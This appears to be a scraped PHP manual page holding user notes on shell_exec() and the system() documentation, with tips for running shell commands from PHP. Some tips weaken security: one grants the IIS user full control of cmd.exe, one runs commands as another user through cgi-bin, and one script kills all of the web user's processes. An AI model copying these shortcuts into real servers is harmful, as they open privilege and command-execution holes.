  if(isset($_SERVER['PWD'])//*nix (aka NOT windows)
  {
    $nullResult = `$runCommand > /dev/null &`;
  }
  else //windowz
  {
    $WshShell = new COM("WScript.Shell");
    $oExec = $WshShell->Run($runCommand, 7, false);
  }
?>

Also, to get the correct "basepath" from the script that runs in the background. try:

<?php
  ignore_user_abort(true);
  set_time_limit(0);

  if(isset($_SERVER['PWD']))
  { $basepath = $_SERVER['PWD']; }
  else
  { $basepath = ereg_replace('[^/]*$', '', $_SERVER['PHP_SELF']); }

  $extendedpath = '/path1/path2/';
  $basepath = preg_replace("|(?:{$extendedpath})$|i",'',$basepath);

  echo 'Start In: '.$basepath;
?>

Enjoy!

Later, RayJ
arturm at union dot com dot pl 29-Oct-2006 11:28
If someone has problems with IIS6 and CGI error message "The specified CGI application misbehaved by not returning a complete set of HTTP headers.", simply make sure that headers are already sent:
echo "<head>";
flush();
$result = shell_exec('C:\util\myprog.exe');
kees dot schepers at infolook dot nl 12-Oct-2006 02:27
If you are using a Windows server with IIS, and you try to execture a batch file with shell_exec() function, or his related functions you should do it like this:

<?
shell_exec("C:\\path\\to\\cmd.exe /c C:\\batchfile.cmd");
?>

Note the parameter /c which says "Carries out the ommand specified by string and then terminates"

If you don't add the parameter /c the batch file will not be executed, only the cmd.exe file will.

As, also mentiod in these commants, put your cmd.exe file in your php folder, and your windows folder for security reasons.
Paul Cook 16-Sep-2006 08:00
The technique mentioned by Nathan De Hert below is rather insecure -- you should never leave a password lying around in a file readable by the apache user.

If you need this sort of functionality on *nix systems, have a look at the /etc/sudo file (edited with the command 'visudo'). The tag NOPASSWD allows specified commands to be run as root by another user, without needing to specify a password. It's a little extra configuration, but much more secure.
ruan at nospam dot tillcor dot com 25-Aug-2006 05:31
When following Kenneth's method for executing root scripts via the nanoweb server mentioned on this page you would most likely need to be able to run a text-mode browser like lynx and pass the php script to it (works great).

After struggling for a while (lynx kept asking me to download the file instead of executing it), I realised that I had to install php-cgi additionally and modify the nanoweb config file  to use that php interpreter instead of /usr/bin/php. (On Debian this is the CLI version).

On Ubuntu 6.06:

apt-get install php5-cgi

After editing /etc/nanoweb/nanoweb.conf and a quick restart of the web server, lynx and links will execute your PHP scripts properly.

Hope this helps somebody else out there :)

Ruan Fourie
Kishan 04-Aug-2006 07:27
If you are on windows and has Cygwin, You can execute all your Cygwin binaries using shell_exec() as follows:

<?
$result = shell_exec("C:\cygwin\bin\bash.exe --login  -c '/cygdrive/c/cygwin/bin/convert.exe --version'");
print($result);
?>

The key is the "--login"  option which appends all the required common cygwin binary and library paths to $PATH. Without this option some of the cygwin binaries that links to other libraries ( Like ImageMagick binaries which links to X11 ) will not work and you may see errors like "cygX11-6.dll not found, Could not start convert.exe"
doo_mangle_fus at by_mangle_u dizzot net 02-Aug-2006 09:00
If you're on a host that provides neither shell access nor a way to unzip uploaded archives, you can use PHP to call the unzip utility with shell_exec() (provided they're not also running in safe mode). Just make sure that PHP has write permission to the destination directory, or it won't work.

Here's an example script that accomplishes this, which you're free to use if you so chose:

<?php
$passwd = 'censored';
$filename = 'archive.zip';
$options = '-o';  //Overwrite existing files by default; this is mostly to suppress confirmations
$destDir = '';

if (isset ($_POST['password']))  {
    if ($_POST['password'] == $passwd)  {
        if (isset ($_POST['filename']))  { $filename = escapeshellarg ($_POST['filename']); }
        if (isset ($_POST['updateExisting']))  { $options .= "u"; }  //use with care, since a timezone mismatch may occur; see man unzip
        if (isset ($_POST['destDir']))  { $destDir = ' -d '. escapeshellarg ($_POST['destDir']); }

        echo "<pre>";
        echo shell_exec ("unzip $options {$filename}{$destDir}");
        echo "</pre>";
    }
    else  {
        outputPage ("Your password didn't check out, mon. Better try it again, eh?");
    }
}
else  { outputPage(); }

function outputPage ($errorMessage = '')  {
    echo <<<HTML
        <html><head><title>Unzip password verification</title>
            <style type="text/css">
                td.left  { text-align: right; }
                td.right { text-align: left; }

                div  { color: red; border: 1px solid gray; padding: 4px; }
            </style>
        </head>
        <body>
HTML;

    if (!empty ($errorMessage))  { echo "\n<div>$errorMessage</div>\n"; }

    echo <<<HTMLL
        <h1>Super Duper File Unzipper</h1>
        <form name="zipform" method="post" action="unzipper.php">
            <table>
                <tr>
                    <td class="left">Filename:</td>
                    <td class="right"><input type="text" name="filename" size="50" maxlength="255" /></td>
                </tr><tr>
                    <td class="left">Destination Directory:</td>
                    <td class="right"><input type="text" name="destdir" size="50" maxlength="1000" /></td>
                </tr><tr>
                    <td class="left">Password:</td>
                    <td class="right"><input type="password" name="password" size="15" maxlength="30" /></td>
                <tr>
                    <td colspan="2"><input type="checkbox" name="updateExisting" />Update existing files</td>
                </tr><tr>
                    <td class="right"><input type="reset" value="Reset" /></td>
                    <td class="left"><input type="submit" value="Unzip it!" /></td>
                </tr>
            </table>

        </form>
        </body>
        </html>
HTMLL;
}
?>
rustleb at hotmail dot com 05-Jun-2006 10:45
For capturing stdout and stderr, when you don't care about the intermediate files, I've had better results with . . .
<?php
function cmd_exec($cmd, &$stdout, &$stderr)
{
    $outfile = tempnam(".", "cmd");
    $errfile = tempnam(".", "cmd");
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("file", $outfile, "w"),
        2 => array("file", $errfile, "w")
    );
    $proc = proc_open($cmd, $descriptorspec, $pipes);

    if (!is_resource($proc)) return 255;

    fclose($pipes[0]);    //Don't really want to give any input

    $exit = proc_close($proc);
    $stdout = file($outfile);
    $stderr = file($errfile);

    unlink($outfile);
    unlink($errfile);
    return $exit;
}
?>

This isn't much different than a redirection, except it takes care of the temp files for you (you may need to change the directory from ".") and it blocks automatically due to the proc_close call.  This mimics the shell_exec behavior, plus gets you stderr.
squeegee 04-May-2006 07:36
Each time you call shell_exec, it operates in a completely new shell. So if you need to do different multiple things in it based on whatever criteria, assemble your command ahead of time:

instead of

<?php
shell_exec("cd $path_to_dir");
shell_exec("ls -l");
?>

which, as you noted, won't work, do

<?php
$cmd = "cd $path_to_dir; ";
if($a == true)$cmd .= "ls -l";
else $cmd .= "du -h";
$result = shell_exec($cmd);
?>
notmespammers-iain at iaindooley dot com 19-Feb-2006 12:38
beware!

shell_exec('cd /path/to/dir');
shell_exec('ls -l');

will not give a listing of /path/to/dir!! use chdir() if you need to change directories, or group your commands with && (not always convenient/possible)

cheers

iain
rigsbr at yahoo dot com dot br 17-Feb-2006 03:24
If you need to execute a command without permission and could not execute it by ssh or install any extension, there is a way in Apache 1.3.x and PHP 4.
Create a file on cgi-bin directory, like this:

#!/usr/bin/php
<?
  echo shell_exec('whoami');
?>

Don't forget to set the file you created the permission to execute it. Hence, call it from browser and you will se that this script will be executed by the shell user and not the user nobody (apache default user if running a PHP script).
Ashraf Kaabi 19-Dec-2005 07:06
I've write a Full Class for Run in Background, Kill PID , check if is Running

<?php
/**
 * @author     Ashraf M Kaabi
 * @name       Advance Linux Exec
 */
class exec {
    /**
     * Run Application in background
     *
     * @param     unknown_type $Command
     * @param     unknown_type $Priority
     * @return     PID
     */
    function background($Command, $Priority = 0){
       if($Priority)
           $PID = shell_exec("nohup nice -n $Priority $Command > /dev/null & echo $!");
       else
           $PID = shell_exec("nohup $Command > /dev/null & echo $!");
       return($PID);
   }
   /**
    * Check if the Application running !
    *
    * @param     unknown_type $PID
    * @return     boolen
    */
   function is_running($PID){
       exec("ps $PID", $ProcessState);
       return(count($ProcessState) >= 2);
   }
   /**
    * Kill Application PID
    *
    * @param  unknown_type $PID
    * @return boolen
    */
   function kill($PID){
       if(exec::is_running($PID)){
           exec("kill -KILL $PID");
           return true;
       }else return false;
   }
};
?>
php [AT] jsomers [DOT] be 27-Sep-2005 03:00
<?php

/**
 * PHP Kill Process
 *
 * Sometimes, it can happen a script keeps running when it shouldn't, and it
 * won't stop after we close the browser, or shutdown the computer. Because it's
 * not always easy to use SSH there's a workaround.
 *
 * @author      Jensen Somers <php@jsomers.be>
 * @version     1.0
 */

class KillAllProcesses {
    /**
     * Construct the class
     */
    function killallprocesses() {
        $this->listItems();
    }

    /**
     * List all the items
     */
    function listItems() {
        /*
         * PS   Unix command to report process status
         * -x   Select processes without controlling ttys
         *
         * Output will look like:
         *      16479 pts/13   S      0:00 -bash
         *      21944 pts/13   R      0:00 ps -x
         *
         */
        $output =   shell_exec('ps -x');

        $this->output($output);

        // Put each individual line into an array
        $array  =   explode("\n", $output);

        $this->doKill($array);
    }

    /**
     * Print the process list
     * @param   string  $output
     */
    function output($output) {
        print   "<pre>".$output."</pre>";
    }

    /**
     * Kill all the processes
     * It should be possible to filter in this, but I won't do it now.
     * @param   array   $array
     */
    function doKill($array) {
        /*
         * Because the first line of our $output will look like
         *        PID TTY      STAT   TIME COMMAND
         * we'll skip this one.
         */
        for ($i = 1; $i < count($array); $i++) {
            $id =   substr($array[$i], 0, strpos($array[$i], ' ?'));
            shell_exec('kill '.$id);
        }
    }
}

new KillAllProcesses();

?>

It's not the very best solution, but I've used it a couple of times when I needed to do it quick without to much trouble.
Make not I kill all the processes, on my server px -x will only return like 4 times /sbin/apache and it's pretty safe to kill them without any trouble.
concept at conceptonline dot hu 19-Sep-2005 11:02
Interestingly, if you execute a script which is not in your path (or you have made a typo, or if the script does no exist at all), you will get no return value. The error will be logged into the error_log of your webserver.

Someone could add a note how this can be (if it could be) overriden, as the standard behaviour is not really fool-proof.
ludvig dot ericson at gmail dot com 01-Sep-2005 08:50
(if you have any other way of doing this PLEASE send me a mail)
(The following note is interesting to *NIX administrators ONLY)
Jailing a PHP CLI session is not the easiest thing to do.

PHP has a gigantic list of dependencies, you can check it by
ldd `which php`
Each of these .so files (shared libraries) can have dependencies, and can depend on each other, making the list much bigger.
However, there are tools out there to copy all dependencies into a jailed directory, you just have to search for them - and I had no luck.

What I did was just to run these few commands:
su
mkdir /jailpath && mkdir /jailpath/lib
cp /lib/*.so* /jailpath/lib/
mkdir /jailpath/usr && mkdir /jailpath/usr/bin && mkdir /jailpath/usr/lib
cp /usr/lib/*.so* /jailpath/usr/lib
cp `which php` /jailpath/usr/bin
chmod -R 0755 /jailpath && chown -R root:root /jailpath && chmod 0000 /jailpath

Do note that this copies _all_ of your shared objects. There is one or two more libraries you have top copy, but chroot will tell you about which one it is.

Hope this helped somehow.
dk at brightbyte dot de 13-May-2005 10:25
her's a function that is similar to shell_exec but captures both stdout and stderr. It's much more complicated than using 2>&1, but it's independent of the shell and should work on windows, too. It uses proc_open with stream_select and non-blocking streams to read stdout and stderr concurrently. It is not guarantied that the lines appear in the correct order or that they are not intermingeled - but it did not happened when I tested it. So, here goes:

<?php
    function runExternal($cmd,&$code) {
        $descriptorspec = array(
            0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            2 => array("pipe", "w") // stderr is a file to write to
        );

        $pipes= array();
        $process = proc_open($cmd, $descriptorspec, $pipes);

        $output= "";

        if (!is_resource($process)) return false;

        #close child's input imidiately
        fclose($pipes[0]);

        stream_set_blocking($pipes[1],false);
        stream_set_blocking($pipes[2],false);

        $todo= array($pipes[1],$pipes[2]);

        while( true ) {
            $read= array();
            if( !feof($pipes[1]) ) $read[]= $pipes[1];
            if( !feof($pipes[2]) ) $read[]= $pipes[2];

            if (!$read) break;

            $ready= stream_select($read, $write=NULL, $ex= NULL, 2);

            if ($ready === false) {
                break; #should never happen - something died
            }

            foreach ($read as $r) {
                $s= fread($r,1024);
                $output.= $s;
            }
        }

        fclose($pipes[1]);
        fclose($pipes[2]);

        $code= proc_close($process);

        return $output;
    }
?>

here is how to use it:

<?php
$result= runExternal("ls -l some-file.txt",$code);

print "<pre>";
print $result;
print "</pre>\n";

print "<b>code: $code</b>\n";
?>

enjoy :-)
phillipberry at NOSPAM dot blisswebhosting dot com 11-Apr-2005 10:13
I found something odd.

If you run exec then straight after shell_exec the shell_exec will simply not run and will return NULL.

To get it to work i put a sleep(5) after the exec and now shell_exec works fine.
Kenneth 09-Mar-2005 06:19
Sometimes it's needed to be able to execute shell commands as root using PHP. For instance, restarting named after adding or changing zones, or adding new alliases for sendmail.

My approach is to run a server called Nanoweb, available from  http://nanoweb.si.kz/. It's a webserver written in PHP, and needs only the pcntl extension extra to operate. Nanoweb is configured to only listen for connections on localhost, port 81 for example. From my normal PHP scripts running inside Apache I simply call scripts in Nanoweb to get the messy 'root' tasks done. Much more secure and safer.

Hope this helps
03-Jan-2005 06:10
Be careful as to how you elevate privileges to your php script.  It's a good idea to use caution and planing.  It is easy to open up huge security holes.  Here are a couple of helpful hints I've gathered from experimentation and Unix documentation.

Things to think about:

1. If you are running php as an Apache module in Unix then every system command you run is run as user apache.  This just makes sense.. Unix won't allow privileges to be elevated in this manner.  If you need to run a system command with elevated privileges think through the problem carefully!

2. You are absolutely insane if you decide to run apache as root.  You may as well kick yourself in the face.  There is always a better way to do it.

3. If you decide to use a SUID it is best not to SUID a script.  SUID is disabled for scripts on many flavors of Unix.  SUID scripts open up security holes, so you don't always want to go this route even if it is an option.  Write a simple binary and elevate the privileges of the binary as a SUID.  In my own opinion it is a horrible idea to pass a system command through a SUID-- ie have the SUID accept the name of a command as a parameter.  You may as well run Apache as root!
James McCormack 05-Aug-2004 10:50
I had a perl program which ran fine from command line but not using shell_exec(), exec() or system() - nothing was being returned. I was using the full path and permissions were set correctly.

It turned out the perl program was using more memory than my PHP.INI file was set to allow. Increasing "memory_limit" solved the problem.
leaetherstrip at inbox dot ru 08-Jul-2004 11:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use 'cacls' command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
vsuarez at vorealis dot com 01-Jul-2004 03:34
Got the error "Unable to execute..." when trying to run an external program with shell_exec under Windows XP, IIS 5, php 4.3.7  Solved by giving the IIS user (IUSR_...) execution privileges on the system file %systemroot%\system32\cmd.exe  This should be used carefully because may represent a server's security hole.
dj-bj at gmx dot net 17-Mar-2004 02:22
shell_exec passes the result to a variable only if the result of the command is true.

When the result is false the generated page contains the error string in clear text at the position the result was fetched (which can differ from reload to reload).

If you would like to recieve also the error messages append 2>&1 to the end of the command you are executing.
However, the result is also passed to the page directly.

To avoid page destruction you should not fetch the result in your script.
By appending >nul to the shell command you can hide any output.
Hope this helps.
Martin Rampersad 11-Jan-2004 10:13
I have PHP (CGI) and Apache. I also shell_exec() shell scripts which use PHP CLI. This combination destroys the string value returned from the call. I get binary garbage.  Shell scripts that start with #!/usr/bin/bash return their output properly.

A solution is to force a clean environment.  PHP CLI no longer had the CGI environment variables to choke on.

<?php

// Binary garbage.
$ExhibitA = shell_exec('/home/www/myscript');

// Perfect.
$ExhibitB = shell_exec('env -i /home/www/myscript');

?>

-- start /home/www/myscript
#!/usr/local/bin/phpcli
<?php

echo("Output.\n");

?>
-- end /home/www/myscript
spagmoid at yahoo dot NOSPAMcom 17-Dec-2003 11:52
Note that whatever you run with this function seems to use PHP memory, so it will die if it exceeds the limit (usually 8 megs)  To do database dumps or other memory-hogging operations use something like system() instead.
jessop <AT> bigfoot <DOT> com 03-Dec-2003 09:19
Just a quick reminder for those trying to use shell_exec on a unix-type platform and can't seem to get it to work. PHP executes as the web user on the system (generally www for Apache), so you need to make sure that the web user has rights to whatever files or directories that you are trying to use in the shell_exec command. Other wise, it won't appear to be doing anything.
ericphp at shepard dot com 23-Nov-2003 11:45
I had major problems getting sell_exec() to work from PHP. It was working fine via the Telnet command line.

Turns out (for me anyway) it was a pathing problem. I'm set up on a VPS FreeBSD server the does not (technically) have root access.

PHP needs to reference the FULL PATH to the app it's calling. But it gets more tricky than that. There may be more than one full path on a server. For instance, on mine there is:

>find ~/ -name mysqldump (VPS non-root search method)

/usr/local/bin/mysqldump
/usr/home/myusername/usr/local/bin/mysqldump
/usr/home/myusername/usr/local/mysql-3.23.41/bin/mysqldump
/usr/home/myusername/usr/local/mysql-3.23.43/bin/mysqldump

Turns out (after 5 hours of hair pulling fun) that /usr/home/myusername/usr/local/mysql-3.23.43/bin/mysqldump was the winner.

The same applies to using cURL and PHP via Cron. /usr/home/myusername/usr/local/curl-7.10.5/bin/curl  works for me there.

And tar wouldn't work until I dug up PHPTAR /usr/home/myusername/usr/local/bin/phptar. Never new that existed ...

Good luck.
moneyboi at fuckwindows dot com 17-Jul-2003 03:46
shell_exec("yourscript.sh") is great for opening shell scripts.
eremi at eremi dot net 09-Jun-2003 07:29
To output the command has it should be, you can do the str_replace trick above, or you can put the output in a <pre> tag.

Example:
<?php
  $output = shell_exec("[command]");
  echo "<pre>$output</pre>";
?>
Ben 04-Jun-2003 07:01
When running subprocesses via shell_exec (and maybe others) from Apache/mod_php4, Apache's environment variables don't seem to be passed on to the subprocess environment unless you specifically force them by using putenv something like this:

$remaddr = getenv("REMOTE_ADDR");
putenv("REMOTE_ADDR=$remaddr");
shell_exec("/path/to/subprocess");
dan at mathjunkies.com 16-Apr-2003 06:02
Just a note for anybody who's box is involuntarily running in safemode (i.e. you buy space on a server), or just not working right.  Shell commands won't work.  You can, however, use PHPs FTP functions to FTP in.  I was copying files and making directories, but I assume there might be a way to do something more complex.
mcbeth at broggs dot org 14-Apr-2003 11:18
As far as error checking on the last example.  Several of the shells have the && operator, so you just string your commands together using it instead of ; If at any time any of the programs fail, you will return without running the rest
ron dot petty at unigeek dot com 21-Mar-2003 08:40
Here is an example on how to install software using php

shell_exec("cd /usr/local/src/; gunzip program.tar.gz; tar xvf program.tar; cd program; ./configure; make; make install);

Now depending if your root or not some commands like "make install" may fail.  This doesn't do any error checking, the reason for that is I do not know how to cd to a directory and then execute another command unless they are in the same shell.

So basically, take what you type on the command line and string them together.
bruce at accumatics dot com 01-Feb-2003 06:24
If you're not getting any output from echo shellexec( "count.pl" ) [for instance], at least try "./count.pl" before bothering with the full path.
flame 30-Jan-2003 03:21
add  '2>&1' to the end of your shell command to have STDERR returned as well as STDOUT.

$shell_return = shell_exec($shell_command." 2>&1");
ryon -at- ryon labaw -dot- com 17-Jan-2003 09:47
Note: You cant used shell_exec() when safemode = on (its disabled), instead use
exec() and copy the needed program into the /nonexec directory (by default, set in php.ini).
dj-bj at gmx dot net 17-Dec-2002 03:27
Running PHP 4.2.3 on Windows 2000 Server shell_exec works fine and passes its output to the variable when the result of the executed command is true.
However, if the command fails and the DOS-shell returns an error the result is no longer availiable in the variable but is passed directly to the page.
yaacov at pleasedontspamme dot spam 29-Oct-2002 07:46
If you're running scripts or commands and can't figure out what's not working, check to make sure that you're not using an alias in place of a command. PHP (quite reasonably) doesn't seem to recognise aliases.
php at chris-decker dot com 24-Jun-2002 08:12
I have found it easiest to use the following code to execute a shell command and return all of it's output (not just the last line) to the user as if he/she were sitting at the terminal:

$output = shell_exec("$command");
echo(nl2br($output));
tonysb at gmx dot net 30-Mar-2002 09:57
shell_exec is extremely useful as a substitute for the virtual() function where unavailable (Microsoft IIS for example). All you have to do is remove the content type string sent in the header:

<?
$mstrng = shell_exec('yourcgiscript.cgi');
$mstrng = ereg_replace( "Content-type: text/html", "", $mstrng );
echo $mstrng;
?>

This works fine for me as a substitute for SSI or the virtual() func.

Anton Babadjanov
http://www.vbcn.com.ar


Execute an external program and display the output

  • « shell_exec
  • pthreads »
  • PHP Manual
  • Program execution Functions
  • Execute an external program and display the output

system

(PHP 4, PHP 5)

system — Execute an external program and display the output

Description

string system ( string $command [, int &$return_var ] )

system() is just like the C version of the function in that it executes the given command and outputs the result.

The system() call also tries to automatically flush the web server's output buffer after each line of output if PHP is running as a server module.

If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function.

Parameters

command

The command that will be executed.

return_var

If the return_var argument is present, then the return status of the executed command will be written to this variable.

Return Values

Returns the last line of the command output on success, and FALSE on failure.

Examples

Example #1 system() example

<?php
echo '<pre>';

// Outputs all the result of shellcommand "ls", and returns
// the last output line into $last_line. Stores the return value
// of the shell command in $retval.
$last_line = system('ls', $retval);

// Printing additional info
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>

Notes

Warning

When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.

Note:

If a program is started with this function, in order for it to continue running in the background, the output of the program must be redirected to a file or another output stream. Failing to do so will cause PHP to hang until the execution of the program ends.

Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable.

Warning

With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x.

See Also

  • exec() - Execute an external program
  • passthru() - Execute an external program and display raw output
  • popen() - Opens process file pointer
  • escapeshellcmd() - Escape shell metacharacters
  • pcntl_exec() - Executes specified program in current process space
  • backtick operator

User Contributed Notes

gvs 04-Sep-2014 02:58
system() will flush the last line retuned from your executed process directly to the output buffer. This you will see in a double echo if you call 'echo system(...)' .
To prevent this use exec() instead
or
change output buffering around the call.
Vinicius Monteiro 06-Aug-2013 11:58
I have a way to get the return of system, using ob_start() and ob_get_contents(). Ex.:

ob_start();

system("echo I'll catch the buffer");

$return = ob_get_contents();

ob_end_clean();
no at mail dot com 20-May-2012 07:06
This is for WINDOWS users. I am running apache and I have been trying for hours now to capture the output of a command.

I'd tried everything that is written here and then continued searching online with no luck at all. The output of the command was never captured. All I got was an empty array.

Finally, I found a comment in a blog by a certain amazing guy that solved my problems.

Adding the string ' 2>&1' to the command name finally returned the output!! This works in exec() as well as system() in PHP since it uses stream redirection to redirect the output to the correct place!

system("yourCommandName 2>&1",$output) ;
daveloop 11-Feb-2011 04:32
I was trying to get the server-side to beep in windows 7.  I finally found something that would work without creating my own EXE.

Create a batch file with at the CMD prompt type:

   echo @echo (Alt-7)>beep.bat

Then execute it in PHP with:

   exec ('start /MIN c:\your_path_here\beep.bat');

NOTE: The only drawback I can find is that a cmd.exe does visually flash on the system (which is why I used the /MIN to ensure it only goes to the taskbar).  Not really sure why I don't like that, but it was a side effect that I wasn't looking for.
kexianin at diyism dot com 03-Dec-2009 08:41
If you can't see any output or error from system(), shell_exec() etc, you could try this:

<?php
function my_exec($cmd, $input='')
         {$proc=proc_open($cmd, array(0=>array('pipe', 'r'), 1=>array('pipe', 'w'), 2=>array('pipe', 'w')), $pipes);
          fwrite($pipes[0], $input);fclose($pipes[0]);
          $stdout=stream_get_contents($pipes[1]);fclose($pipes[1]);
          $stderr=stream_get_contents($pipes[2]);fclose($pipes[2]);
          $rtn=proc_close($proc);
          return array('stdout'=>$stdout,
                       'stderr'=>$stderr,
                       'return'=>$rtn
                      );
         }
var_export(my_exec('echo -e $(</dev/stdin) | wc -l', 'h\\nel\\nlo'));
?>

For example, "echo shell_exec('ls');" will get nothing output,
"my_exec('ls');" will get "sh: ls: command not found",
"my_exec('/bin/ls');" will maybe get "sh: /bin/ls: Permission denied",
and the permission may be caused by selinux.
grytolle at gmail dot com 03-May-2009 07:12
This is a work-around that makes the program run in it's own directory instead of the script's.

example usage:
<?php runAsynchronously("c:\games\jazz2\jazz2.exe","-connect 1.2.3.4"); ?>

<?php
function runAsynchronously($path,$arguments) {
    $WshShell = new COM("WScript.Shell");
    $oShellLink = $WshShell->CreateShortcut("temp.lnk");
    $oShellLink->TargetPath = $path;
    $oShellLink->Arguments = $arguments;
    $oShellLink->WorkingDirectory = dirname($path);
    $oShellLink->WindowStyle = 1;
    $oShellLink->Save();
    $oExec = $WshShell->Run("temp.lnk", 7, false);
    unset($WshShell,$oShellLink,$oExec);
    unlink("temp.lnk");
}
?>
grytolle at gmail dot com 03-May-2009 04:38
A more direct approach:

<?php
function runAsynchronously($path) {
    $WshShell = new COM("WScript.Shell");
    $oExec = $WshShell->Run(addslashes($path), 7, false);
    unset($WshShell,$oExec);
}
?>
dukeman at seagate dot com 06-Aug-2008 10:02
For novices remember that the executable has to be in a directory the server is serving or only local host will be able to access it.
al at aj8 dot org 19-Jun-2008 01:54
In response to willytk at gmail dot com, 10-Sep-2007 01:39

If imagemagick / convert from eps or pdf is not working because the gs executable is not in the apache path, you can compile imagemagick with  --with-frozenpaths

This makes imagemagick store the full path to the gs executable. The error I was getting before was
"sh: gs: command not found"
when convert was called with "-debug All"

Cheers
Alastair Battrick
Daniel Morris (danielxmorris.com) 02-Jun-2008 03:34
How to produce a system beep with PHP.

<?php
        function beep ($int_beeps = 1) {
            for ($i = 0; $i < $int_beeps; $i++): $string_beeps .= "\x07"; endfor;
            isset ($_SERVER['SERVER_PROTOCOL']) ? false : print $string_beeps;
        }

?>

This will not do anything when running through a browser, if running through a shell it will produce an audible beep $int_beeps times.  This should work on Windows, Unix, etc.
vlad dot sharanhovich at gmail dot com 09-Apr-2008 09:33
The double quote problem on Windows platform discussed earlier here in comments still present in PHP 5.2.5. You can't execute system($command) if $command contains more than 2 " chars. system('"echo" A'); works, while system('"echo" "A"'); does not. Search comment, that was a solution posted to overhaul this issue via temporary .bat file.
Dennis 22-Jan-2008 04:37
If you are writing CLI scripts in PHP and call external programs which produce some kind of progress bar you should really use passthru()  for the output of the external program to go to the terminal immediately.
Such progress bar are usually done by outputing the string with "\r" at the end, and contain no "\n". system() and friends look for "\n" before flushing the buffer. As a result, you see nothing during the lengthy operation and suddenly you get the 100% reading, because all output was buffered and quickly replayed into the terminal when the final "\n" has been seen.
willytk at gmail dot com 10-Sep-2007 02:39
If you're having problems with getting imagemagick/convert to work with ghostscript because the gs executable isn't in the apache PATH, do the following:

To create a thumb of the first pdf page:

<?php
$command= 'export PATH=$PATH:/sw/bin; convert "files/example.pdf[0]" -thumbnail 150x150 "files/thumbs/example.png"';

$lastline = system($command,$return);
?>

Thanks entropy.ch and phpaladin!

Regards,

Willy T. Koch
Oslo, Norway
timgolding_10 at hotmail dot com 20-Jul-2007 04:19
An example of using the system to call the file command on a linux server. This script detects whether a user posted file is a jpeg, gif or png

<?PHP

$accepted_types=array("JPEG" , "GIF", "PNG");

    // The temporary filename of the file in which the uploaded file was stored on the server.
if(!empty($_FILES["uploadedfile"]))
  {
    $uploaddir = $_SERVER['DOCUMENT_ROOT']."/images/";
    $uploaddir.=basename( $_FILES['uploadedfile']['name']);

 //verfiy file using linux FILE command
 $last_line = system('file '.escapeshellarg($_FILES['uploadedfile']['tmp_name']), $retval);

 //get the file extension returned through magic database
 $splitvals=explode(' image data' ,  $last_line);
 $vals=explode(':', $splitvals[0]);
 $vals[1]=str_replace(' ','', $vals[1]);

 if (in_array($vals[1], $accepted_types))
 {
    echo $vals[1].' was accepted <br />';
        if(!file_exists($uploaddir)){
            //Copy the file to some permanent location
            if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"], $uploaddir))
             {
              echo $uploaddir." was uploaded! <br />";
             }
            else
             {
              echo "There was a problem when uploding the new file, please contact admin about this.";
             }
        }
        else echo 'This file already exists in DB please rename file before uploading';
}
}else echo $_FILES['uploadedfile']['error'].'<br />';
?>
eis 20-Jun-2007 11:11
It should be noted, too, that "unable to fork" error in Windows also occurs if you try to send a command that's too long for cmd.exe to process.
peter at randomnity dot com 28-Mar-2007 06:09
Just a note to dan at thecsl dot org

0 and FALSE are _NOT_ the same.
You can check for false like so:

<?php
if($return_val === FALSE) {
   // ....
} else if ($return_val == 0) {
   // ...
}
// Continue...
?>
jordan314 at mailinator dot com 20-Mar-2007 09:44
z1a7n8g, your system logging to file function was really useful, but had two errors:
$line=fgets($fPtr,filesize("yourfile.php");
that line needs a second closing ')'
and:
while ($line)
returns true until your script runs out of memory. Those two lines can be combined:
while($line=fgets($fPtr,filesize("yourfile.php")));
norman_ss at hotmail dot com 08-Mar-2007 12:43
thanks to tr4nc3,

I'm trying to, from the explorer, run an access's macro and this example give me the solution:

You can execute a .bat file with the especifications that give us tr4nc3.
After, in this .bat file, you can execute msacces.exe and pass /x parameter with the name of the macro. like this:

"c:\windows\system32\cmd.exe /c <path or the msaccess.exe>" <path of the .mdb file> /x <name of the macro>"

At the end of the .bat file you have to put "exit" and the thread will end.

Thanks to tr4nc3!
dan at thecsl dot org 29-May-2006 05:45
You probably want to check your system calls for errors. The convention is to return 0  for "no error" which is the same as FALSE which can be confusing. You need to do something like:

<?php
  $cmd = "/usr/bin/pngtopnm $png_file > $pnm_file";
  system($cmd,$return_value);
  ($return_value == 0) or die("returned an error: $cmd");
?>
matt-php at cdsportland dot com 18-Jan-2006 06:15
If using Windows with IIS and you're having problems with the system() and related commands, I found the easiest way to solve it was to modify the Authentication Method for the file (or directory) that uses the call and change the anonymous access user from the default (IUSR_IMAGE) to a user with enough permissions to execute the commands in the system call.  This way, there is no need to give execute permissions to IUSR_IMAGE on cmd.exe (which opens up a security risk system-wide) or copy cmd.exe into your php directory (per the suggestions of others).  Hope this helps someone!
cho at stunt growth dot com 03-Nov-2005 10:20
Note to the persons who suggested using backticks for gathering a return value from scripts via system().

Using Backticks is generally frowned upon for security sake.  They can be exploited more easily.

Instead, why not use the exec() function with a return parameter specified as an array type.  This will allow you to take the full string returned from your script (for example rsync) and return each line in an array.

like so:
$result = array();
exec( $cmd, &$result);
foreach ( $result as $v )
{
// parse, or do cool stuff
}

Hope this alternative brings you merriment.
vdweij at hotmail dot com 09-Aug-2005 11:41
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
Stuart Prescott 12-May-2005 07:14
